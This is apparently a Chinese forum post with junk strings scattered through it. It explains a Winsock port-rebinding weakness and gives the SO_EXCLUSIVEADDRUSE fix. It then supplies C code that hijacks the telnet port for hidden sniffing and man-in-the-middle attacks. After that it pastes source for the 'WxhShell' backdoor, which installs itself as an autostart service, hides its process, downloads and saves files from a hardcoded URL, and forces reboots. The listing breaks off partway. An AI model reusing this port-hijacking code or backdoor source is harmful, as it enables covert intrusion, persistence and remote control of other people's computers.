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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j"Z9}F@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G\C>fwrP_  
9jJ:T$}  
  saddr.sin_family = AF_INET; AVO$R\1YR  
{C'9?4&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7<zI'^l  
Ksb55cp`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NOQSLT=  
2PViY,V|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &`B Tw1u  
mQ=nU  
  这意味着什么?意味着可以进行如下的攻击: |>v8yS5  
`ZPV.u/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a=r^?q'/  
eMOnzW|h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \~#$o34V  
JPM W|JT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &eFv~9  
*n*po.Xr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {SwvUWOf"  
CuA A)Bj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V\/5H~L  
yIf>8ed]#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ey]P >J  
"%dok@v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9$=o({  
-!-1X7v|Fp  
  #include 8C4v  
  #include m%.7l8vT  
  #include UEH+E&BCC  
  #include    ^~DClZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0#!Z1:Y  
  int main() QN8.FiiD  
  { *k !zdV  
  WORD wVersionRequested; te b/  
  DWORD ret; e$4$G<8;y  
  WSADATA wsaData; kWxcB7)uk  
  BOOL val; %R-KkK<S  
  SOCKADDR_IN saddr; FQO>%=&4  
  SOCKADDR_IN scaddr; p77  
  int err; q/3 )yG6s  
  SOCKET s; ~Aoo\fN_U  
  SOCKET sc; Ji;R{tZ.R  
  int caddsize; 8+8P{_  
  HANDLE mt; P3+?gW'  
  DWORD tid;   Qe4"a*l-r  
  wVersionRequested = MAKEWORD( 2, 2 ); dL|*#e  
  err = WSAStartup( wVersionRequested, &wsaData ); f1RX`rXf  
  if ( err != 0 ) { JAS!eF  
  printf("error!WSAStartup failed!\n"); (E<QA  
  return -1; /u pDbP.O  
  } h%!N!\  
  saddr.sin_family = AF_INET;  $&to(  
   }x+s5a;!3/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \"=b8x  
`dm}|$X|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }NF7"tOL  
  saddr.sin_port = htons(23); ?vocI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B$&&'i%  
  { )/4U]c{-  
  printf("error!socket failed!\n"); =(]||1 .  
  return -1; r  |JZU  
  } j[&C6l+wH  
  val = TRUE; 5 $:  q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S#f}mb0,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /+{1;}AT  
  { 50Y^##]&  
  printf("error!setsockopt failed!\n"); JB(P-Y#yyA  
  return -1; XE.Y?{,R$  
  } I+FQ2\J*H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WoX,F1o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mFeoeI,Jv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [y1 x`WOk9  
-A;4""  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %N0cp@Vz  
  { <s(<ax30  
  ret=GetLastError(); D$PR<>=y  
  printf("error!bind failed!\n"); M,/{53  
  return -1; h;Se.{  
  } (Gpk;DD  
  listen(s,2); 23Juu V.  
  while(1) BZ -)XF'4  
  { nk-V{']  
  caddsize = sizeof(scaddr); G,JK$j>*l  
  //接受连接请求 ;O Y*`(Id  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {Wh7>*p{3  
  if(sc!=INVALID_SOCKET) (#%R'9R v  
  { +Rb0:r>kU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  p@bcf5'  
  if(mt==NULL) H_+F~P5RC  
  { d vTsbs/6  
  printf("Thread Creat Failed!\n"); 4> $weu^  
  break; R8YA"(j!L  
  } 2$%E:J+2:$  
  } bRb+3au_x  
  CloseHandle(mt); ECF \/12  
  } ;^Y]nsd  
  closesocket(s); DV">9{"5']  
  WSACleanup(); *>f-UNV  
  return 0; y&8kORz;?  
  }   ]f~mR_E  
  DWORD WINAPI ClientThread(LPVOID lpParam) {9yW8&m  
  { K%/:V  
  SOCKET ss = (SOCKET)lpParam; dJYQdo^X  
  SOCKET sc; Bm&%N?9  
  unsigned char buf[4096]; h.D*Y3=<  
  SOCKADDR_IN saddr; .ECT  
  long num; ?Pw(  
  DWORD val; -yH8bm'0"  
  DWORD ret; "8|a4Y+F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P-~kxb9aa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Lm}J& ^>  
  saddr.sin_family = AF_INET; eFiUB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &@anv.D  
  saddr.sin_port = htons(23); ?E88y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _6 ,Tb]  
  { gNoQ[xFx32  
  printf("error!socket failed!\n"); F"*.Qq  
  return -1; dDoKmuY>5  
  } S0uEz;cE  
  val = 100; !p#+I=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F4%vEn\!  
  { 5v@-.p  
  ret = GetLastError(); ywS2` (  
  return -1; qq1@v0  
  } bPHqZ*f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z 71.*  
  { +bv-!rf  
  ret = GetLastError(); 4fp]z9Y  
  return -1; GDUOUl&  
  } -g;cg7O#(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KqH_?r`  
  { a1n j}1M%  
  printf("error!socket connect failed!\n"); nC> 'kgRt  
  closesocket(sc); #lHA<jI  
  closesocket(ss); L1i:hgq0]  
  return -1; bn8`$FA^  
  } C0bOPn  
  while(1) bEz1@"~ p  
  { 'eRJQ*0F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 78[5@U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JM?X]l  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ")cJA f  
  num = recv(ss,buf,4096,0); yd-Kg zm8n  
  if(num>0) k-uwK-B}v+  
  send(sc,buf,num,0); }&h* bim  
  else if(num==0) o : t z_5  
  break; Xob,jo}a  
  num = recv(sc,buf,4096,0); KNw{\Pz~w  
  if(num>0) @Ht7^rz+S  
  send(ss,buf,num,0); Ct)l0J\XH  
  else if(num==0) E 3a^)S{  
  break; n)'5h &#  
  } rL=_z^.P  
  closesocket(ss); l5R0^!t  
  closesocket(sc); N3`EJY_|V  
  return 0 ; _ Db05:r@  
  } keYvscRBI  
:~1sF_  
,GH;jw)P  
========================================================== >){"x(4`  
/QeJ#EHn  
下边附上一个代码,,WXhSHELL ic4mD:-up  
,py:e>+^t  
========================================================== O0Vtvbj  
_FRwaFVJ3  
#include "stdafx.h" And|T 6u  
}>|M6.n "  
#include <stdio.h> K3Wh F  
#include <string.h> }9qbF+b  
#include <windows.h> ?pAO?5Z:}  
#include <winsock2.h> Vif0z*\e{  
#include <winsvc.h> =QiVcw,G#  
#include <urlmon.h> 2unaK<1s  
L`M.Htm8  
#pragma comment (lib, "Ws2_32.lib") ZM~kc|&  
#pragma comment (lib, "urlmon.lib") M^E\L C  
F{g^4  
#define MAX_USER   100 // 最大客户端连接数 F;Lg w^1!  
#define BUF_SOCK   200 // sock buffer DD4fV`:kG  
#define KEY_BUFF   255 // 输入 buffer S-8wL%r  
D_HE!fl  
#define REBOOT     0   // 重启 o?Wp[{K  
#define SHUTDOWN   1   // 关机 EP|OKXRltA  
Y)-)owx7  
#define DEF_PORT   5000 // 监听端口 .[1"3!T  
u9:+^F+  
#define REG_LEN     16   // 注册表键长度 >brf7h  
#define SVC_LEN     80   // NT服务名长度 Ev R6^n/  
@"\j]ZEnY  
// 从dll定义API `Z}7G@ol  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uP:Y[$O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <#hltPyh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hSO(s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *7ggw[~  
b~1]}9TJ  
// wxhshell配置信息 Kc>C$}/}$  
struct WSCFG { Jf/X3\0N7  
  int ws_port;         // 监听端口 mv,<#<-W  
  char ws_passstr[REG_LEN]; // 口令 "K"]/3`k-  
  int ws_autoins;       // 安装标记, 1=yes 0=no AV%?8-  
  char ws_regname[REG_LEN]; // 注册表键名 %4%$NdU"  
  char ws_svcname[REG_LEN]; // 服务名 [^cflmV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d=TZaVL$$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gl1Qbd0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7.r}98V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Aj9Onz,Lg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cPemrNxydN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;}tEU'&  
v[aFSXGj)  
}; Zewx*Y|  
wQ7G_kVp  
// default Wxhshell configuration J< E"ZoY  
struct WSCFG wscfg={DEF_PORT, oPX `/ X#  
    "xuhuanlingzhe", AF=9KWqf  
    1, 3N'fHy  
    "Wxhshell", 2f%G`4/p  
    "Wxhshell", 6%p$C oR  
            "WxhShell Service", )]=1W  
    "Wrsky Windows CmdShell Service", FAS+*G Fz  
    "Please Input Your Password: ", =9lrPQ]w  
  1, 1;\A./FVv  
  "http://www.wrsky.com/wxhshell.exe", b)SU8z!NV&  
  "Wxhshell.exe" 8fn7!  
    }; PjH[8:,  
PFqc_!Pm  
// 消息定义模块 f1a >C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D['z/r6F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S G&VZY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %<g(EKl  
char *msg_ws_ext="\n\rExit."; 6 N%fJ   
char *msg_ws_end="\n\rQuit."; C)7T'[  
char *msg_ws_boot="\n\rReboot..."; 8$|< `:~J  
char *msg_ws_poff="\n\rShutdown..."; $#cZJ@;]  
char *msg_ws_down="\n\rSave to "; 'THcO*<  
92@/8,[  
char *msg_ws_err="\n\rErr!"; JYY:~2  
char *msg_ws_ok="\n\rOK!"; d$3;o&VUNI  
wIrjWU2  
char ExeFile[MAX_PATH]; Vr1Wr%  
int nUser = 0; $a.!X8sHB.  
HANDLE handles[MAX_USER]; l1_Tr2A}7/  
int OsIsNt; UN~dzA~V  
X>[x7t:  
SERVICE_STATUS       serviceStatus; ZfpV=DU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r((2.,\Z  
B@:c 8}2.  
// 函数声明 +0w~Skd,  
int Install(void); a?zn>tx  
int Uninstall(void); NF}QQwG3  
int DownloadFile(char *sURL, SOCKET wsh); }@6/sg  
int Boot(int flag); 2(-J9y|  
void HideProc(void); ?P+n0S!  
int GetOsVer(void); z/JoU je  
int Wxhshell(SOCKET wsl); KuU]enC3  
void TalkWithClient(void *cs); %:v59:i}  
int CmdShell(SOCKET sock); @R5jUPUVV  
int StartFromService(void); kWF/SsE  
int StartWxhshell(LPSTR lpCmdLine); kQ,#NR/q6  
}!5x1F!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B!`Dj,_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P87!+pB(  
h>'9-j6B  
// 数据结构和表定义 |WopsV %  
SERVICE_TABLE_ENTRY DispatchTable[] = pjC2jlwm*  
{ b7 pD#v  
{wscfg.ws_svcname, NTServiceMain}, X5@S LkJ-`  
{NULL, NULL} ^w0V{qF{  
}; 61Z#;2]  
(M1HNIM;(  
// 自我安装 O'6zV"<P  
int Install(void) p.r \|  
{ Zz"b&`K  
  char svExeFile[MAX_PATH]; 7}r!&Eb  
  HKEY key; TZ`@pDi  
  strcpy(svExeFile,ExeFile); egBjr?  
+GgJFBl  
// 如果是win9x系统,修改注册表设为自启动 AL%gqt]  
if(!OsIsNt) { *%G$[=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U~~Y'R\ NU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y Iab3/#`  
  RegCloseKey(key); 9uXuV$.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U>q&p}z0 H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AN!MFsk  
  RegCloseKey(key); [DW}z  
  return 0; ISQC{K']J  
    } }Pm>mQZ},  
  } -S7PnR6  
} y8Q96zi  
else { =h?Q.vad  
.Z,3:3,]  
// 如果是NT以上系统,安装为系统服务 5yvaY "B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FmfPi .;1  
if (schSCManager!=0) ?'xTSAn  
{ "6T: &>  
  SC_HANDLE schService = CreateService ;l^4/BR  
  ( ?;{fqeJz  
  schSCManager, p*11aaIbp~  
  wscfg.ws_svcname, :ZP4(}  
  wscfg.ws_svcdisp, [x {S ,?6  
  SERVICE_ALL_ACCESS, CaX0Jlk*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  u/ Os  
  SERVICE_AUTO_START, ~c e?xr|  
  SERVICE_ERROR_NORMAL, '%W'HqVcG1  
  svExeFile, U6hT*126  
  NULL, ]dXHjOpA  
  NULL, rsbd DTy  
  NULL, i|'M'^3r  
  NULL, :<-,[(@bR  
  NULL CYr2~0<g  
  ); G1; .\i  
  if (schService!=0) ?)B"\#`t  
  { +]n.uA-`[a  
  CloseServiceHandle(schService); I91pX<NBf  
  CloseServiceHandle(schSCManager); ;Nw.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -Jo8jE~>V  
  strcat(svExeFile,wscfg.ws_svcname); -IBf;"8f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sm(QgZO[4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9Fe(],AzF  
  RegCloseKey(key); ? x1"uH  
  return 0; ^*;{Uj+O~Y  
    } G;:D6\  
  } ^y@ RfM=A  
  CloseServiceHandle(schSCManager); ~<M/<%o2*  
} sGNVZx  
} dg%Orvuz  
us&!%`  
return 1; _9Pxtf  
} wi#]*\N\9  
-*[?E!F  
// 自我卸载 =AFTB<7-^  
int Uninstall(void) +/A`\9QT  
{ tK<GU.+  
  HKEY key; 9/lCW  
UWdPB2x[  
if(!OsIsNt) { @PXb^x#k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G)(\!0pNZ  
  RegDeleteValue(key,wscfg.ws_regname); 4<S*gu*W  
  RegCloseKey(key); 8:Yha4<Bv7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $9 GRAM.  
  RegDeleteValue(key,wscfg.ws_regname); 5xZ*U  
  RegCloseKey(key); zw{cli&S  
  return 0; #1MEmt  
  } ,2F4S5F~rC  
} 8^fkY'x  
} 9N9dQ}[:g  
else { 0phO1h]2S)  
 } z4=3 '  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UOn L^Z}  
if (schSCManager!=0) qp(F}@  
{ *}9i@DP1,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q&IO9/[dk  
  if (schService!=0) LEM{$Fxo&  
  { =e7,d$i  
  if(DeleteService(schService)!=0) { 2#4_ /5(j*  
  CloseServiceHandle(schService); )oOcV%  
  CloseServiceHandle(schSCManager); @MfuV4*  
  return 0; O?uT'$GT  
  } {;(X#vK}9  
  CloseServiceHandle(schService); Bp3%*va  
  } =d/\8\4  
  CloseServiceHandle(schSCManager); (wmMHo|  
} X\SZ Q[gN  
} !GkwbHr+p  
xCH,d:n=  
return 1; L[zg2y  
} eSZS`(#!(  
B;'Dh<J1  
// 从指定url下载文件 cH>rS\|Y  
int DownloadFile(char *sURL, SOCKET wsh) :uZfdu  
{ ; 6Wlu3I  
  HRESULT hr; _m!TUT8o  
char seps[]= "/"; |irqv< r  
char *token; dw)SF,  
char *file; %?^T^P  
char myURL[MAX_PATH]; ^'S0A=1  
char myFILE[MAX_PATH]; Lm<"W_  
||y5XXs  
strcpy(myURL,sURL); 9X8{"J  
  token=strtok(myURL,seps); )u7*YlU\I  
  while(token!=NULL) Wxl^f?I`:  
  { OE(H:^ZR  
    file=token; !FweXFl  
  token=strtok(NULL,seps); %H:uE*WZ  
  } qvz2u]IOw  
Wjt1NfS&  
GetCurrentDirectory(MAX_PATH,myFILE); bS{7*S  
strcat(myFILE, "\\"); ![WX -"lW  
strcat(myFILE, file); Nw@tlT4  
  send(wsh,myFILE,strlen(myFILE),0); DG8LoWZ  
send(wsh,"...",3,0); >;',U<Wd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $AAv%v  
  if(hr==S_OK) <{7CS=)  
return 0; sDnHd9v<?t  
else v}hmI']yf  
return 1; Dm/# \y3  
eqcV70E8cK  
} %dTkw+J  
jsS xjf;O  
// 系统电源模块 qr%9S dvx  
int Boot(int flag) 7<[p1C*B  
{ o+W5xHe^1  
  HANDLE hToken; .5I!h !  
  TOKEN_PRIVILEGES tkp; 16MRLDhnD  
*loPwV8  
  if(OsIsNt) { G#/}_P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $ WAFr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8P r H"pI  
    tkp.PrivilegeCount = 1; @ NGK2J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >W"gr]R<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (#* 7LdZ  
if(flag==REBOOT) { d% ?+q0j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '1A S66k  
  return 0; g(t"+ P  
} %sb)U~gP  
else { ZdHfZ3)dB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _[-+%RP  
  return 0; IM&2SSmYNH  
} &Zl$7  
  } $:"r$7  
  else { SU;PmG4  
if(flag==REBOOT) { <v;;:RB6c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I*R[8|  
  return 0; _aVrQ@9  
} OaU-4 ~n;  
else { m xtLcG4G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &P&LjHFK  
  return 0; V6"<lK8"  
} pN/)$6=  
} 2't<Hl1qN  
cZKK\hf<  
return 1; !=@Lyt)_b  
} S!qJqZ<Bv  
`k65&]&d  
// win9x进程隐藏模块 *@fR36  
void HideProc(void) FX7=81**4  
{ z]ZhvH7-  
/W'GX n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U'zW; Lt  
  if ( hKernel != NULL ) }^WQNdws56  
  { <`*}$Zh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _f$8{&`k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `m?%{ \  
    FreeLibrary(hKernel); U>6MT@\  
  } !)RND 6.  
2yR*<yj  
return; Tx?,]c,(u  
} X-9>;Mb~y  
N-|E^XIV  
// 获取操作系统版本 Et ty{r}  
int GetOsVer(void)  sBY*9I  
{ tWQ_.,ld  
  OSVERSIONINFO winfo; ;>_\oZGj_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  5<bc>A-  
  GetVersionEx(&winfo); AEx I!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {~>?%]tf  
  return 1; +9G GC  
  else ?F20\D\V  
  return 0; aO('X3?  
} ZB GLwe  
C J S  
// 客户端句柄模块 )ALPMmlRs  
int Wxhshell(SOCKET wsl) M>dP 1  
{ I&]d6,  
  SOCKET wsh; HXhz|s0  
  struct sockaddr_in client; 'Ca6cm3Tg  
  DWORD myID; h`dtcJ0  
,<F=\G_f  
  while(nUser<MAX_USER) m8eyAvi 6  
{ %"PG/avo  
  int nSize=sizeof(client); s42M[BW]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^pZ1uN!b  
  if(wsh==INVALID_SOCKET) return 1; D'Tb=  
$9<q'hf<w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @#K19\dQ  
if(handles[nUser]==0) l CHaRR7  
  closesocket(wsh); 90> (`pI=  
else By{zX,6'  
  nUser++; A<l8CWv[  
  } jZeY^T)f"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tGnBx)J|  
#pu6^NTK  
  return 0; !!Z#'Wq  
} 4s nL((  
=LV7K8FSd  
// 关闭 socket \O5`R-  
void CloseIt(SOCKET wsh) w2!G"oD  
{ occ^bq  
closesocket(wsh); T%~w~stW  
nUser--; 01N "  
ExitThread(0); w naP?|/  
} {'VP_ZS1v  
r(xh5{^x  
// 客户端请求句柄 ,gGIkl&  
void TalkWithClient(void *cs) t-Rfy`I3  
{ D7|[:``  
 (n+2z"/  
  SOCKET wsh=(SOCKET)cs; nmZz`P9g  
  char pwd[SVC_LEN]; << `*o[^L  
  char cmd[KEY_BUFF]; :;W[@DeO[  
char chr[1]; B.CUk.  
int i,j; A^:[+PJHN  
E^w2IIw  
  while (nUser < MAX_USER) { ifj%!*   
y\K r@;q0w  
if(wscfg.ws_passstr) {  H"czF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K}"xZy Tm1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x8k7y:  
  //ZeroMemory(pwd,KEY_BUFF); 's>   
      i=0; a5=8zO#%g  
  while(i<SVC_LEN) { W_l/Jpv!W  
wBZ=IMDu\  
  // 设置超时 1O@ qpNm  
  fd_set FdRead; q/U(j&8W{  
  struct timeval TimeOut; n&ZA rJ  
  FD_ZERO(&FdRead); r(;oDdVc  
  FD_SET(wsh,&FdRead); H'k$<S  
  TimeOut.tv_sec=8; Y,Dd} an  
  TimeOut.tv_usec=0; 3qJOE6[}%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hw! l{yv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C'&)""3d  
!z">aIj\6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G2 A#&86J{  
  pwd=chr[0]; _DsA<SJ]  
  if(chr[0]==0xd || chr[0]==0xa) { YoyJnl.?u  
  pwd=0; m;-FP 2~  
  break; h}-}!v  
  } >B>[_8=f@  
  i++; I?` }h}7.  
    } P^V,"B8t  
0WT]fY?IS  
  // 如果是非法用户,关闭 socket JPQWRK^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ta"uxL\gge  
} !v/5 G_pr  
2N*XzVplN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q#"p6ZmI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wZ6D\I  
rk$&sDc/3  
while(1) { 9A_{*E(wd  
S3#NGBZ/  
  ZeroMemory(cmd,KEY_BUFF); B1<:nl  
TNe,'S,%  
      // 自动支持客户端 telnet标准   Z9 X<W`  
  j=0; MzjV>.  
  while(j<KEY_BUFF) { D![42H+-Qd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !5,>[^y3  
  cmd[j]=chr[0]; $A~UA  
  if(chr[0]==0xa || chr[0]==0xd) { zVN/|[KP4  
  cmd[j]=0; GL;@heP  
  break; y/=:F=H@w  
  } :})(@.H  
  j++; yg({g "  
    } q#LB 2M  
>[t0a"  
  // 下载文件 ^u'hl$`^  
  if(strstr(cmd,"http://")) { W0e+yIaR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $VEG1]/svp  
  if(DownloadFile(cmd,wsh)) _|<kKfd?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l-s%3E3  
  else PPoQNW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k=;>*:D%  
  } ;:<z hO  
  else { |;xm-AM4r  
A/5??3H  
    switch(cmd[0]) { ZEY="pf  
  TljN!nv]  
  // 帮助 *u LOoq  
  case '?': { k(hYNmmo j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HIiMq'H^  
    break; WMy97*L<  
  } + *u'vt?  
  // 安装 590.mCm  
  case 'i': { 3On IAk3  
    if(Install()) <Jt H/oN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bmx+QO  
    else Zop3[-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x)evjX=q  
    break; A8,9^cQ]  
    } M)v\7a  
  // 卸载 ++O L&n  
  case 'r': { "FuOWI{in  
    if(Uninstall()) 2P\k;T(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hxG=g6:G  
    else V|6PKED  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +'fy%/  
    break; w Vegr  
    } 0|6]ps4Z7  
  // 显示 wxhshell 所在路径 ~K'e}<-G  
  case 'p': { 5\\#kjjx  
    char svExeFile[MAX_PATH]; mjgwU8'![  
    strcpy(svExeFile,"\n\r"); 7D'-^#S5  
      strcat(svExeFile,ExeFile); /#mq*kNIM6  
        send(wsh,svExeFile,strlen(svExeFile),0); .II*wK k  
    break; b1+6I_u.  
    } H~Z$pk%  
  // 重启 qY,z,o AF  
  case 'b': { b\6 )whh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C]@v60I  
    if(Boot(REBOOT)) :r4]8X-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3[q&%Z.  
    else { 'u9,L FO  
    closesocket(wsh); W&M=%  
    ExitThread(0); XKp$v']u  
    } K4T#8K]aZF  
    break; cnJL*{H<2  
    } P9d%80(b4  
  // 关机 R$>]7-N}  
  case 'd': { * SAYli+@  
